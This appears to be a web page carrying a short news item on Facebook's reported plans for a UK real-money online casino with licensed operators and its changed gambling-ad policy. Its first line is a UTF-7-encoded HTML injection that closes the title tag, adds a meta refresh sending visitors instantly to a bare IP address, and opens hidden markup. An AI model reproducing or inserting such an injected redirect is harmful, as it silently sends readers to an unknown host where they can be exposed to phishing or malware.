+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

According to eGaming Review, social networking site Facebook is poised to offer a United Kingdom-facing real money online casino, potentially early next year. The site has apparently been in discussions with various U.K. online gambling operators, and is currently in the process of hiring new staff to support the endeavor.

eGaming Review states that Facebook will facilitate the gambling platforms of up to eight different licensees, including Gamesys and 888 Holdings. The fact that Facebook is partnering with existing operators seems to indicate that it will serve as a hub for various providers as opposed to a host of its own online gambling brand.

Facebook is already deeply involved with games involving real money transactions, such as Farmville. The site currently takes a 30% cut of profits resulting from sales of virtual items in that game and others. It’s difficult to say whether a similar system would be utilized for its online gambling operations.

Zynga Poker, a free-to-play online poker room, already experiences traffic exceeding 30 million users a month on Facebook. Although representatives from Zynga Poker have stated that they have no interest in converting to real money play, that could easily change should online poker be legalized and regulated in the U.S.

In the past, Facebook enforced a zero-tolerance policy against the advertising of online gambling sites on its website. Now, however, that policy has changed to allow online gambling advertisements, including those related to poker, bingo, sports books and casinos, in certain countries and with approval from Facebook.

Many details remain to be announced, such as how players would confirm their identity and age, and how players would ultimately fund their accounts. Although Facebook hasn’t exactly maintained a squeaky-clean image, it will be interesting to see how the announcement sits with the site’s more conservative critics.